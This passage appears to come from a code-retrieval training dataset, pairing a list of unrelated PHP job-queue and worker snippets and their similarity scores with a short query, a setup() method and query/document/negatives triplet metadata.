null);\n\t\t$this->addColumn('CUSTOM_DATA', 'CustomData', 'LONGVARCHAR', false, null, null);\n\t\t// validators\n\t}", "public function __construct(int $status, Job $job)\n {\n $this->status = $status;\n $this->job = $job;\n\n $this->updateTask($this->status, $this->job);\n }", "public function __construct(private Fetch $fetch, private string $outputFileName)\n {\n //\n }", "public function __construct()\n {\n parent::__construct();\n\n $this->queue=new Queue();\n $this->check=new Check();\n }", "public function __construct()\n {\n $this->mc_handle = curl_multi_init();\n\n $this->node_storage = new \\SplObjectStorage;\n\n $this->request_queue = new \\SplQueue;\n $this->request_queue->setIteratorMode(\\SplDoublyLinkedList::IT_MODE_DELETE);\n\n $this->result_queue = new \\SplQueue;\n $this->result_queue->setIteratorMode(\\SplDoublyLinkedList::IT_MODE_DELETE);\n }", "public function __construct()\n {\n $this->queue = 'mail';\n }", "public function __construct(string $client, string $job_id, string $job, string $task, float $time)\n {\n $this->client = $client;\n $this->job_id = $job_id;\n $this->job = $job;\n $this->task = $task;\n $this->time = $time;\n }", "public function __construct(\n ConsumeCommand $consumeCommand,\n PingCommand $pingCommand\n ) {\n parent::__construct('Workana AsyncJobs', '0.9');\n\n $this->add($consumeCommand);\n $this->add($pingCommand);\n }", "public function __construct($jobData)\n {\n $filename = \"\";\n if (array_key_exists(\"filename\", $jobData))\n {\n $filename = $jobData[\"filename\"];\n } else if (array_key_exists(\"feature\", $jobData))\n {\n $filename = $jobData[\"feature\"];\n } else if (array_key_exists(\"set\", $jobData))\n {\n $filename = $jobData[\"set\"];\n } else\n {\n throw new Exception(\"No filename set!\");\n }\n\n $this->setFilename($filename);\n $this->setReplacementSetData(@$jobData['setName'], @$jobData['setRunId']);\n\n $this->setHostname($jobData[\"host\"]);\n $this->setBrowser($jobData[\"browser\"]);\n $this->setSauce($jobData[\"browser\"]);\n\n $this->setLocal(@$jobData[\"browser\"], @$jobData[\"local\"]);\n $this->setUsername(@$jobData[\"username\"]);\n $this->setDebug(@$jobData[\"debug\"]);\n $this->setReportId(@$jobData[\"reportId\"]);\n $this->setSize(@$jobData[\"size\"]);\n $this->setChannel(@$jobData[\"channel\"]);\n\n $this->setQueue(@$jobData['queue']);\n $this->setTest(@$jobData['test']);\n\n $this->_config_file = @$jobData['config'];\n }", "public function __construct(Container $container, SqsClient $sqs, Message $job, $connectionName, $queue)\n {\n $this->sqs = $sqs;\n $this->job = $job;\n $this->queue = $queue;\n $this->container = $container;\n $this->connectionName = $connectionName;\n }", "public function __construct()\n {\n $this->onQueue('daily-game-play');\n }", "function __construct($max_number_of_jobs = 5, $min_load = 20, $timeout = 0, $log = 'echo') {\n\t\t$this->_vars = array(\n\t\t\t'max_number_of_jobs' => $max_number_of_jobs,\n\t\t\t'min_load' => $min_load,\n\t\t\t'timeout'=>$timeout,\n\t\t\t'log'=>$log);\n\t\t$this->_slots = $max_number_of_jobs;\n\t}", "function __construct($hudson_job_url, $name = null) {\n $parsed_url = parse_url($hudson_job_url);\n \n if ( ! $parsed_url || ! array_key_exists('scheme', $parsed_url) ) {\n throw new HudsonJobURLMalformedException($GLOBALS['Language']->getText('plugin_hudson','wrong_job_url', array($hudson_job_url)));\n }\n \n $this->hudson_job_url = $hudson_job_url . \"/api/xml\";\n $this->hudson_dobuild_url = $hudson_job_url . \"/build\";\n $this->name = $name;\n \n $controler = $this->getHudsonControler(); \n $this->icons_path = $controler->getIconsPath();\n }", "public function run()\n {\n Job::create(['url'=> 'https://proxify.io']);\n\n Job::create(['url'=> 'https://reddit.com']);\n\n Job::factory(1000)->create();\n }", "public function __construct($db, $job) {\n $this->db = $db;\n $this->id = $job->get_id();\n if (!isset($this->id))\n $this->id = 0; // new job\n $this->table = $job->get_table_name();\n $this->info_type = self::find_info_type($this->table);\n $this->col_pfx = $this->table . \"_\";\n $this->load_status();\n }", "public function __construct(JobTrace $trace, $params = [])\n {\n $this->trace = $trace;\n $this->params = $params;\n }", "public function __construct(string $queue, int $threshold)\n {\n $this->queue = $queue;\n $this->threshold = $threshold;\n }", "public function createQueue() {\n // Drupal is first installed) so there is nothing we need to do to create\n // a new queue.\n }", "public function __construct(DownloadLog $downloadLog)\n {\n $this->downloadLog = $downloadLog;\n $this->queue = 'ExportJob';\n }", "public function __construct()\n {\n $this->container = getContainer();\n $this->queue = $this->container->get(Queue::class);\n }", "public function getNextQueuedJob() {\n \t}", "function FetchJob()\n\t{\n\n\t\tif ($this->Debug) {\n\t\t\t$this->Db->LogQuery('###################');\n\t\t\terror_log(__FILE__ . \"\\t\" . __LINE__ . \"\\t\" . \"###################\\n\", 3, $this->LogFile);\n\t\t}\n\n\t\t$timenow = $this->GetServerTime();\n\t\t$half_hour_ago = $timenow - (30 * 60);\n\n\t\t$queues_done = array('0');\n\n\t\t// get the queues we CAN'T process.\n\t\t$query = \"SELECT queueid FROM \" . SENDSTUDIO_TABLEPREFIX . \"jobs WHERE jobtype='autoresponder' AND lastupdatetime > \" . $half_hour_ago;\n\t\t$already_running_result = $this->Db->Query($query);\n\t\twhile ($row = $this->Db->Fetch($already_running_result)) {\n\t\t\t$queues_done[] = $row['queueid'];\n\t\t}\n\n\t\t$query = \"SELECT q.queueid AS queueid, q.ownerid, a.autoresponderid, s.statid, s.hiddenby FROM \" . SENDSTUDIO_TABLEPREFIX . \"queues q, \" . SENDSTUDIO_TABLEPREFIX . \"autoresponders a LEFT OUTER JOIN \" . SENDSTUDIO_TABLEPREFIX . \"stats_autoresponders s ON s.autoresponderid=a.autoresponderid WHERE a.queueid=q.queueid AND q.queuetype='autoresponder' AND q.queueid NOT IN (\" . implode(',', $queues_done) . \") GROUP BY q.queueid, q.ownerid, a.autoresponderid, s.statid, s.hiddenby ORDER BY s.hiddenby ASC LIMIT 1\";\n\n\t\t$result = $this->Db->Query($query);\n\t\tif (!$result) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$row = $this->Db->Fetch($result);\n\t\tif (empty($row)) {\n\t\t\tif (sizeof($queues_done) != 1) {\n\t\t\t\t$query = \"DELETE FROM \" . SENDSTUDIO_TABLEPREFIX . \"jobs WHERE jobtype='autoresponder' AND queueid IN (\" . implode(',', $queues_done) . \")\";\n\t\t\t\t$cleanup_result = $this->Db->Query($query);\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->autoresponder_api->Load($row['autoresponderid']);\n\n\t\tif ($this->autoresponder_api->Get('ownerid') <= 0) {\n\t\t\tif (sizeof($queues_done) != 1) {\n\t\t\t\t$query = \"DELETE FROM \" . SENDSTUDIO_TABLEPREFIX . \"jobs WHERE jobtype='autoresponder' AND queueid IN (\" . implode(',', $queues_done) . \")\";\n\t\t\t\t$cleanup_result = $this->Db->Query($query);\n\t\t\t}\n\n\t\t\treturn false;\n\t\t}\n\n\t\t$listid = $this->autoresponder_api->Get('listid');\n\n\t\tif (!$listid) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$job_details = array(\n\t\t\t'Lists' => array($listid),\n\t\t\t'autorespondername' => $this->autoresponder_api->Get('name')\n\t\t);\n\n\t\t$jobcreated = $this->Create(\n\t\t\t'autoresponder',\n\t\t\t$timenow,\n\t\t\t$this->autoresponder_api->Get('ownerid'),\n\t\t\t$job_details,\n\t\t\t'autoresponder',\n\t\t\t$this->autoresponder_api->Get('autoresponderid'),\n\t\t\t$job_details['Lists'],\n\t\t\t$this->autoresponder_api->Get('ownerid')\n\t\t);\n\n\t\t$this->StartJob($jobcreated);\n\n\t\t$this->JobQueue($jobcreated, $row['queueid']);\n\n\t\tif (!$row['statid'] || $row['hiddenby'] > 0) {\n\t\t\t$autoresponderdetails = array(\n\t\t\t\t'autoresponderid' => $row['autoresponderid']\n\t\t\t);\n\t\t\t$statid = $this->Stats_API->SaveAutoresponderStats($autoresponderdetails);\n\t\t} else {\n\t\t\t$statid = $row['statid'];\n\t\t}\n\t\t$this->statid = $statid;\n\n\t\t$this->jobowner = $row['ownerid'];\n\t\treturn $row['queueid'];\n\t}", "public function job($id)\n {\n $this->transporter->setParam('jobId', $id);\n\n return $this;\n }", "function __construct() {\n\t\tparent::__construct(\n\t\t\t'zijcareerbuilderjobs', // Base ID\n\t\t\t__( 'Zij CareerBuilder Jobs', 'zij-careerbuilder-jobs' ), // Name\n\t\t\tarray( 'description' => __( 'Zij integrate careerbuilder jobs into your wordpress installation', 'zij-careerbuilder-jobs' ), ) // Args\n\t\t);\n\t}", "public function __construct(string $debounceable, int $waitTime, ...$jobArgs)\n {\n $this->debounceable = $debounceable;\n $this->waitTime = $waitTime;\n $this->jobArgs = $jobArgs ?? [];\n }", "public function run()\n {\n Job::factory()->count(100)->create();\n \n }", "public function __construct(Container $container, array $job)\n {\n $this->container = $container;\n $this->job = $job;\n }", "public function __construct(Dispatcher $dispatcher, UpdateOutpostsJob $job)\n\t{\n\t\tparent::__construct();\n\n\t\t$this->dispatcher = $dispatcher;\n\t\t$this->job = $job;\n\t}", "public function __construct(\\Traversable $namespaces, CacheBackendInterface $cache_backend, ModuleHandlerInterface $module_handler) {\n parent::__construct('Plugin/EntityQueueHandler', $namespaces, $module_handler, null, 'Drupal\\entityqueue\\Annotation\\EntityQueueHandler');\n\n $this->setCacheBackend($cache_backend, 'entityqueuehandler');\n }", "public function __construct($data, $tracking) {\n $this->data = $data;\n $this->tracking = $tracking;\n $this->jobName = 'AttributionBatchJob-' . $tracking;\n JobTracking::startAggregationJob($this->jobName, $this->tracking);\n }", "public function __construct($command)\n {\n $this->command = $command;\n // Amonoyoya\\TrackableJob\\Traits\\TrackableJob::getJobStatus() で状態確認できるようにする\n $this->prepareJobStatus();\n }", "public function createJobFromQuote(Quote $quote, array $inputData);", "public function __construct($payload, $exception, $worker, $queue) {\n\t\tif (!isset($payload['retrying']) || !$payload['retrying'] || $payload['retryDelay'] <= 0) {\n\t\t\treturn parent::__construct($payload, $exception, $worker, $queue);\n\t\t}\n\n\t\t$retryDelay = $payload['retryDelay'];\n\n\t\t$data = new stdClass;\n\t\t$data->failed_at = strftime('%a %b %d %H:%M:%S %Z %Y');\n\t\t$data->payload = $payload;\n\t\t$data->exception = get_class($exception);\n\t\t$data->error = $exception->getMessage();\n\t\t$data->backtrace = explode(\"\\n\", $exception->getTraceAsString());\n\t\t$data->worker = (string)$worker;\n\t\t$data->queue = $queue;\n\t\t$data->retry_delay = $retryDelay;\n\t\t$data->retried_at = strftime('%a %b %d %H:%M:%S %Z %Y', $payload['retryingAt']);\n\t\t$data = json_encode($data);\n\n\t\tResque::redis()->rpush('failed', $data);\n\t}", "public function __construct($ledger, $observerId)\n {\n //Set the connection for the job\n $this->connection = 'redis';\n $this->onQueue('miningtaxes');\n\n //Import variables from the calling function\n $this->ledger = $ledger;\n $this->observerId = $observerId;\n }", "public function createNewJob($jobBody, $queue)\n {\n $job = new Job($jobBody, $queue);\n\n if ($this->jobHasBeenAddedFromOutside($job)) {\n $this->addMissingJobTimeData($job);\n }\n\n return $job;\n }", "abstract public function push($job, $queue = null);", "public function __construct()\n {\n parent::__construct();\n $this->bucket = config('flysystem.connections.awss3.bucket');\n\n $this->request = new Client([\n 'base_uri' => 'https://tvmwznbdlk.execute-api.us-west-2.amazonaws.com/prod/'\n ]);\n }", "private function createJob (string $cronTab) : CronJobInterface\n {\n return new class ($cronTab) implements CronJobInterface\n {\n /** @var string */\n private $cronTab;\n\n\n /**\n */\n public function __construct (string $cronTab)\n {\n $this->cronTab = $cronTab;\n }\n\n\n /**\n */\n public function getCronTab () : string\n {\n return $this->cronTab;\n }\n\n\n /**\n */\n public function getName () : string\n {\n return \"My Job\";\n }\n\n\n /**\n */\n public function execute (BufferedSymfonyStyle $io) : CronStatus\n {\n return new CronStatus(true);\n }\n };\n }", "function __construct($id, $connection_details, $task_name=NULL, $task_args=NULL)\n\t{\n\t\t$this->task_id = $id;\n\t\t$this->connection = Celery::InitializeAMQPConnection($connection_details);\n\t\t$this->connection_details = $connection_details;\n\t\t$this->task_name = $task_name;\n\t\t$this->task_args = $task_args;\n\t\t$this->amqp = AbstractAMQPConnector::GetConcrete($connection_details['connector']);\n\t}", "public function __construct()\n {\n // for example creates \"thread\"\n }", "public function pushOn($queue, $job, $data = '');", "protected function generateJob()\n\t{\n\t\t$name = $this->inflector->getJob();\n\n\t\t$this->call('make:job', compact('name'));\n\t}", "public function __construct(Container $container, IServiceBus $azure, BrokeredMessage $job, $queue, string $rawMessage)\n {\n $this->azure = $azure;\n $this->job = $job;\n $this->queue = $queue;\n $this->container = $container;\n $this->rawMessage = $rawMessage;\n }", "function construct() {\n if (!$this->cacheGet()) {\n $this->prepare();\n $this->build();\n $this->expand();\n $this->populate();\n }\n }", "public function createJob( $creationParameters ){ return $this->APICallSub( '/jobs', array( 'create' => $creationParameters ), \"Could not create new job with query \" . $creationParameters['query'] . \" and operation \" . $creationParameters['operation'] ); }", "public function __construct(PushMessage $push) {\n $this->push = $push;\n\n // define job queue\n $this->queue = 'sendpush';\n }", "public function fire()\n\t{\n\n\t\tprint(\"Retrieving jobs....\\r\\n\");\n\n\t\tif \t(Config::get('mturk::rooturl') == '' or\n\t\t\tConfig::get('mturk::accesskey') == '' or\n\t\t\tConfig::get('mturk::secretkey') == '')\n\t\t\t\tthrow new Exception('API key not set. Please check the configuration file.');\n\n\t\t$turk = new Turkapi\\MechanicalTurk(Config::get('mturk::rooturl'), false, Config::get('mturk::accesskey'), Config::get('mturk::secretkey'));\n\n\t\t// Todo optimize query.\n\t\t$jobs = Job::where('softwareAgent_id', 'amt')\n\t\t\t\t\t->orderBy('created_at', 'desc')\n\t\t\t\t\t->where('status', '!=', 'finished')\n\t\t\t\t\t->get();\n\n\t\tforeach($jobs as $job){\n\t\t\t$newworkerunits = array();\n\t\t\t$newworkerunitscount = 0;\n\t\t\t//$newplatformhitid = array();\n\n\t\t\tforeach($job->platformJobId as $hitid){\n\t\t\t\tset_time_limit (30);\n/*\t\t\t\tif($hitid['status'] == 'deleted') // Can't recover from that. Don't update.\n\t\t\t\t\t$newplatformhitid[] = array('id' => $hitid['id'], \n\t\t\t\t\t\t\t\t\t\t\t\t'status' => 'deleted');\n\t\t\t\telse {*/\n\n\t\t\t\t\t//$hit = $turk->getHIT($hitid['id']);\n\t\t\t\t\t$hit = $turk->getHIT($hitid);\n\t\t\t\t\t$h = $hit->toArray();\n\n\t\t\t\t\t//Do this once:\n\t\t\t\t\tif(empty($job->Expiration)) $job->Expiration = new MongoDate(strtotime($h['Expiration']));\n\t\t\t\t\tif(empty($job->HITGroupId)) $job->HITGroupId = $h['HITGroupId'];\n\t\t\t\t\tif(empty($job->HITTypeId)) \t$job->HITTypeId = $h['HITTypeId'];\n\n\t\t\t\t\t// TODO: Commented this out for unity of data. Maybe this needs to come back.\n\n\t\t\t\t\t/*\n\t\t\t\t\t// Convert status to our language\n\t\t\t\t\tif(($h['HITStatus'] == 'Assignable' or $h['HITStatus'] == 'Unassignable')\n\t\t\t\t\tand ($job->Expiration->sec > time())) // Not yet expired. TODO: Timezones\n\t\t\t\t\t\t$newstatus = 'running';\n\t\t\t\t\telseif($h['HITStatus'] == 'Reviewable' or $h['HITStatus'] == 'Reviewing')\n\t\t\t\t\t\t$newstatus = 'review';\n\t\t\t\t\telseif($h['HITStatus'] == 'Disposed')\n\t\t\t\t\t\t$newstatus = 'deleted';\n\n\t\t\t\t\t$newplatformhitid[] = array('id' => $hitid['id'], \n\t\t\t\t\t\t\t\t\t\t\t\t'status' => $newstatus);*/\n\n\t\t\t\t\t\n\t\t\t\t\t// todo: IF each is disposed, newstatus = deleted.\n\n\t\t\t\t\t// Get Assignments.\n\t\t\t\t\t$jobId = $job->_id;\n\t\t\t\t\t$assignments = $turk->getAssignmentsForHIT($hitid['id']);\n\t\t\t\t\tprint 'Got ' . count($assignments) . \" Assignments for {$hitid['id']}\\n\";\n\t\t\t\t\t\n\t\t\t\t\tforeach ($assignments as $ass){\n\t\t\t\t\t\t$assignment = $ass->toArray();\n\n\t\t\t\t\t\t$workerunit = Workerunit::where('job_id', $jobId)\n\t\t\t\t\t\t\t\t\t\t->where('platformWorkerunitId', $assignment['AssignmentId'])\n\t\t\t\t\t\t\t\t\t\t->first();\n\t\t\t\t\t\t\n\t\t\t\t\t\t//print_r($workerunits); die();\n\t\t\t\t\t\tif($workerunit) {\n\t\t\t\t\t\t\t$annoldstatus = $workerunit['status'];\n\t\t\t\t\t\t\t$annnewstatus = $assignment['AssignmentStatus'];\n\n\t\t\t\t\t\t\tif($annoldstatus != $annnewstatus){\n\t\t\t\t\t\t\t\t$workerunit->status = $annnewstatus;\n\t\t\t\t\t\t\t\tQueue::push('SaveWorkerunit', array('workerunit' => $workerunit));\n\t\t\t\t\t\t\t\tprint \"Status '$annoldstatus' changed to '$annnewstatus'.\";\n\t\t\t\t\t\t\t\tLog::debug(\"Status of Workerunit {$workerunit->_id} changed from $annoldstatus to $annnewstatus\");\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else { // ASSIGNMENT entity not in DB: create activity, entity and refer to or create agent.\n\n\t\t\t\t\t\t\t// Pre-create agentid.\n\t\t\t\t\t\t\t$agentId = \"crowdagent/amt/{$assignment['WorkerId']}\";\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// Create activity: annotate\n\t\t\t\t\t\t\t$activity = new Activity;\n\t\t\t\t\t\t\t$activity->label = \"Units are annotated on crowdsourcing platform.\";\n\t\t\t\t\t\t\t$activity->crowdAgent_id = $agentId; \n\t\t\t\t\t\t\t$activity->used = $jobId;\n\t\t\t\t\t\t\t$activity->softwareAgent_id = 'amt';\n\t\t\t\t\t\t\t$activity->save();\n\n\t\t\t\t\t\t\t$groupedbyid = array();\n\t\t\t\t\t\t\tforeach ($assignment['Answer'] as $q=>$ans){\n\t\t\t\t\t\t\t\t// Retrieve the unitID and the QuestionId from the name of the input field.\n\t\t\t\t\t\t\t\t$split = strpos($q, \"_\");\n\t\t\t\t\t\t\t\t$unitid = substr($q, 0, $split); \t // before the first _\n\t\t\t\t\t\t\t\t$qid = substr($q, $split+1);\t\t// after the first _\n\t\t\t\t\t\t\t\t$groupedbyid[$unitid][$qid] = $ans;// grouped to create an entity for every ID.\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// Create entity FOR EACH UNIT\n\t\t\t\t\t\t\tforeach($groupedbyid as $uid=>$qidansarray){\n\t\t\t\t\t\t\t\t$workerunit = new Workerunit;\n\t\t\t\t\t\t\t\t$workerunit->activity_id = $activity->_id;\n\t\t\t\t\t\t\t\t$workerunit->crowdAgent_id = $agentId;\n\t\t\t\t\t\t\t\t$workerunit->softwareAgent_id = 'amt';\n\t\t\t\t\t\t\t\t$workerunit->job_id = $jobId;\n\t\t\t\t\t\t\t\t$workerunit->unit_id = $uid;\n\t\t\t\t\t\t\t\t$workerunit->platformWorkerunitId = $assignment['AssignmentId'];\n\t\t\t\t\t\t\t\t$workerunit->acceptTime = new MongoDate(strtotime($assignment['AcceptTime']));\n\t\t\t\t\t\t\t\t$workerunit->submitTime = new MongoDate(strtotime($assignment['SubmitTime']));\n\t\t\t\t\t\t\t\t//\n\t\t\t\t\t\t\t\t// Todo: Optionally compute time spent doing the assignment here.\n\t\t\t\t\t\t\t\t//\n\t\t\t\t\t\t\t\tif(!empty($assignment['AutoApprovalTime']))\n\t\t\t\t\t\t\t\t\t$workerunit->autoApprovalTime = new MongoDate(strtotime($assignment['AutoApprovalTime']));\n\t\t\t\t\t\t\t\tif(!empty($assignment['ApprovalTime']))\n\t\t\t\t\t\t\t\t\t$workerunit->autoApprovalTime = new MongoDate(strtotime($assignment['ApprovalTime']));\n\t\t\t\t\t\t\t\tif(!empty($assignment['RejectionTime']))\n\t\t\t\t\t\t\t\t\t$workerunit->autoApprovalTime = new MongoDate(strtotime($assignment['RejectionTime']));\n\n\t\t\t\t\t\t\t\t$workerunit->content = $qidansarray;\n\t\t\t\t\t\t\t\t$workerunit->status = $assignment['AssignmentStatus']; // Submitted | Approved | Rejected\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tQueue::push('Queues\\SaveWorkerunit', array('workerunit' => serialize($workerunit)));\n\n\t\t\t\t\t\t\t\t//$workerunit->save();\n\n\t\t\t\t\t\t\t\t//$newworkerunits[] = $workerunit;\n\t\t\t\t\t\t\t\t$newworkerunitscount++;\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\t\tPossibly also:\n\n\t\t\t\t\t\t\t\tHITId\t\t\t\t2P3Z6R70G5RC7PEQC857ZSST0J2P9T\n\t\t\t\t\t\t\t\tDeadline\t\n\t\t\t\t\t\t\t*/\n\n\t\t\t\t\t\t\tif(!$agent = CrowdAgent::id($agentId)->first()){\n\t\t\t\t\t\t\t\t$agent = new CrowdAgent;\n\t\t\t\t\t\t\t\t$agent->_id= $agentId;\n\t\t\t\t\t\t\t\t$agent->softwareAgent_id= 'amt';\n\t\t\t\t\t\t\t\t$agent->platformAgentId = $assignment['WorkerId'];\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tQueue::push('Queues\\UpdateCrowdAgent', array('crowdagent' => serialize($agent)));\n\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t//if(count($newworkerunits)>0)\n\t\t\t\t\t\tif($newworkerunitscount>0){\n\t\t\t\t\t\t\tLog::debug(\"Saved $newworkerunitscount new workerunits for {$h['HITId']} - total \" . count($assignments) . \" assignments.\");\n\t\t\t\t\t\t\tprint \"Saved $newworkerunitscount new workerunits for {$h['HITId']} - total \" . count($assignments) . \" assignments.\";\n\t\t\t\t\t\t}\n\t\t\t\t\t} // foreach assignment\n\t\t\t\t//} // if / else\t\t\t\t\n\t\t\t} // foreach hit\n\n\t\t\t//$job->addResults($newWorkerunits);\n\t\t\t//$job->platformJobId = $newplatformhitid; \n\t\t\tQueue::push('Queues\\UpdateJob', array('job' => serialize($job)));\n\n\t\t\t//$job->save();\n\t\t} // foreach JOB\n\t}", "public static function getInstance()\n {\n return Doctrine_Core::getTable('Job_Model_Doctrine_Job');\n }", "public function __construct($input, $output)\n\t{\n\t\t$this->input = $input;\n\t\t$this->output = $output;\n\t\t$this->folder = 'Music'.'/';\n\t\t\n\t\t$aws = new AWS();\n\t\t$client = $aws->authElasticTranscoder();\n\t\t\n\t\t$result = $client->createJob(array(\n\t\t\t// PipelineId is required\n\t\t\t'PipelineId' => '1425787425117-1042wm',\n\t\t\t'Input' => array(\n\t\t\t\t'Key' => $this->folder.$input,\n\t\t\t\t'FrameRate' => 'auto',\n\t\t\t\t'Resolution' => 'auto',\n\t\t\t\t'AspectRatio' => 'auto',\n\t\t\t\t'Interlaced' => 'auto',\n\t\t\t\t'Container' => 'auto',\n\t\t\t),\n\t\t\t'Output' => array(\n\t\t\t\t'Key' => $this->folder.$output,\n\t\t\t\t'ThumbnailPattern' => '',\n\t\t\t\t'Rotate' => 'auto',\n\t\t\t\t'PresetId' => '1351620000001-300040' //128kb-s MP3 - CHANGE THIS\n\t\t\t)\n\t\t));\n\t\t\n\t\t//remove this if it works\n\t\t//echo \"<br>\";\n\t\t//echo \"FILE CONVERTED. \"; //prints if conversion was successful\n\t\t//echo \"<br>\";\n\t}", "public function __construct($queueID) {\n\t\t$this->queueID = $queueID;\n\t\t$this->getInstallationInfo();\n\t}", "public function __construct()\n {\n $this->onQueue('tags');\n }", "private function constructJobFamily(Request $request)\n {\n $jobFamily = [\n \"tenant_id\" => $this->requester->getTenantId(),\n \"company_id\" => $request->companyId,\n \"eff_begin\" => $request->effBegin,\n \"eff_end\" => $request->effEnd,\n \"description\" => $request->description,\n \"name\" => $request->name,\n \"code\" => $request->code\n ];\n return $jobFamily;\n }", "public function __construct($lookBack, $tracking){\n $this->name = \"BulkInsertDelivers\";\n $this->lookBack = $lookBack;\n $this->tracking = $tracking;\n JobTracking::startAggregationJob($this->name, $this->tracking);\n }", "private function __construct()\r\r\n\t{\t\t\r\r\n\t\t$class_name = sprintf(CPF_CACHE_STORAGE_CLASS_FORMAT, Cpf_Core_Config::get_instance()->value('CACHE.STORAGE'));\t\t\r\r\n\t\t$this->_storage = new $class_name();\r\r\n\t}", "function &fetch_instance()\n\t{\n\t\tstatic $instance = null;\n\n\t\tif ($instance === null)\n\t\t{\n\t\t\tglobal $vbulletin;\n\t\t\t$instance =& new vB_QueueMail($vbulletin);\n\t\t}\n\n\t\treturn $instance;\n\t}", "public function testQueueBuilding()\n {\n\n $contract = $this->getScenarioContract();\n $collection = $this->getScenarioCollection();\n\n $probFactory = new \\CsCannon\\MetadataProbeFactory();\n\n $probFactory->populateLocal();\n $probe = $probFactory->getOrCreate($collection,$contract,'null');\n\n\n $this->assertInstanceOf(\\CsCannon\\MetadataProbe::class,$probe,'Could not laod prob');\n\n\n $erc721_3 = \\CsCannon\\Blockchains\\Ethereum\\Interfaces\\ERC721::init(3);\n $erc721_4 = \\CsCannon\\Blockchains\\Ethereum\\Interfaces\\ERC721::init(4);\n $erc721_1 = \\CsCannon\\Blockchains\\Ethereum\\Interfaces\\ERC721::init(1); //this should exist already\n\n $probe->queue($erc721_3);\n\n // $probe->queue($erc721_3,$erc721_4,$erc721_1);\n while($probe->executeQueue()) {\n\n sleep(1);\n\n\n }\n\n\n }", "public function __construct($queueSize) \n {\n $this->storageSize = $queueSize;\n }", "public function __construct(\n array $savePartQueue = []\n ) {\n $this->savePartProcessorsQueue = $savePartQueue;\n }", "public static function getInstance()\n {\n return Doctrine_Core::getTable('PluginImportTopicJob');\n }", "public function __construct( $contentType , $tracking , $runtimeThreshold )\n {\n $this->runtimeThreshold = $runtimeThreshold;\n $this->contentType = $contentType;\n $this->jobName = $this->baseJobName . \":\" . $this->contentType;\n $this->tracking = $tracking;\n\n parent::__construct(\n $this->jobName ,\n $runtimeThreshold,\n $tracking\n );\n }", "public function __construct(array $configuration, $plugin_id, array $plugin_definition, ModuleHandlerInterface $module_handler, QueueInterface $queue) {\n parent::__construct($configuration, $plugin_id, $plugin_definition);\n\n $this->moduleHandler = $module_handler;\n $this->queue = $queue;\n }", "public function add() {\n $this->out('CakePHP Queue Example task.');\n $this->hr();\n $this->out('This is a very simple example of a QueueTask.');\n $this->out('I will now add an example Job into the Queue.');\n $this->out('This job will only produce some console output on the worker that it runs on.');\n $this->out(' ');\n $this->out('To run a Worker use:');\n $this->out('\tbin/cake queue runworker');\n $this->out(' ');\n $this->out('You can find the sourcecode of this task in: ');\n $this->out(__FILE__);\n $this->out(' ');\n\n //$options = getopt('',['id:']);\n /*\n * Adding a task of type 'example' with no additionally passed data\n */\n //if ($this->QueuedJobs->createJob('RemittanceApi', ['id'=>4033, 'batch_id'=>'58e44de0f33a7'])) {\n if ($this->QueuedJobs->createJob('RemittanceApi', null)) {\n $this->out('OK, job created, now run the worker');\n } else {\n $this->err('Could not create Job');\n }\n }" ]
[ "0.63018036", "0.629482", "0.6189206", "0.6099995", "0.60320556", "0.6015966", "0.59358484", "0.58979064", "0.5874269", "0.5868683", "0.5868683", "0.5860036", "0.5806274", "0.5765063", "0.57495457", "0.57482547", "0.5731687", "0.57073593", "0.5683286", "0.56666744", "0.5656808", "0.5612469", "0.5588204", "0.5573801", "0.54873925", "0.5479669", "0.5459695", "0.540655", "0.53994745", "0.53615373", "0.5329256", "0.53233343", "0.52921814", "0.52825016", "0.5274561", "0.52681243", "0.5238741", "0.52327186", "0.5223416", "0.52233535", "0.5213289", "0.5210638", "0.5201116", "0.5193005", "0.5186164", "0.51772416", "0.51489455", "0.5129434", "0.5128149", "0.5115896", "0.5114673", "0.508689", "0.5085168", "0.50791913", "0.5068571", "0.50679284", "0.50656563", "0.5059691", "0.5057931", "0.5055706", "0.5030539", "0.50255376", "0.5024686", "0.5006628", "0.5001859", "0.49969238", "0.49960017", "0.49870154", "0.49836567", "0.49780986", "0.49638575", "0.49561632", "0.4953094", "0.49373057", "0.49290898", "0.49087906", "0.48983327", "0.4896882", "0.48895568", "0.4887552", "0.48814818", "0.48609668", "0.4857815", "0.48571345", "0.4853742", "0.48404795", "0.4840249", "0.48385173", "0.48371437", "0.48350194", "0.48236337", "0.4807989", "0.48044223", "0.48026407", "0.4794348", "0.47910523", "0.47891617", "0.47886866", "0.47870278", "0.47793874", "0.47704136" ]
0.0
-1
just demonstrating how to get a job going...
public function setup() { // $this->totalSteps = $this->startNumber; $this->times = array(); $this->totalSteps = 1; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function run_job()\r\n\t{\r\n\t}", "abstract public function makeJob();", "abstract public function makeJob();", "public function work(Job $job);", "public function work(Job $job);", "function tripal_jobs_launch ($do_parallel = 0){\n \n // first check if any jobs are currently running\n // if they are, don't continue, we don't want to have\n // more than one job script running at a time\n if(!$do_parallel and tripal_jobs_check_running()){\n return;\n }\n \n // get all jobs that have not started and order them such that\n // they are processed in a FIFO manner. \n $sql = \"SELECT * FROM {tripal_jobs} TJ \".\n \"WHERE TJ.start_time IS NULL and TJ.end_time IS NULL \".\n \"ORDER BY priority ASC,job_id ASC\";\n $job_res = db_query($sql);\n while($job = db_fetch_object($job_res)){\n\n\t\t// set the start time for this job\n\t\t$record = new stdClass();\n\t\t$record->job_id = $job->job_id;\n\t\t$record->start_time = time();\n\t\t$record->status = 'Running';\n\t\t$record->pid = getmypid();\n\t\tdrupal_write_record('tripal_jobs',$record,'job_id');\n\n\t\t// call the function provided in the callback column.\n\t\t// Add the job_id as the last item in the list of arguments. All\n\t\t// callback functions should support this argument.\n\t\t$callback = $job->callback;\n\t\t$args = split(\"::\",$job->arguments);\n\t\t$args[] = $job->job_id;\n\t\tprint \"Calling: $callback(\" . implode(\", \",$args) . \")\\n\"; 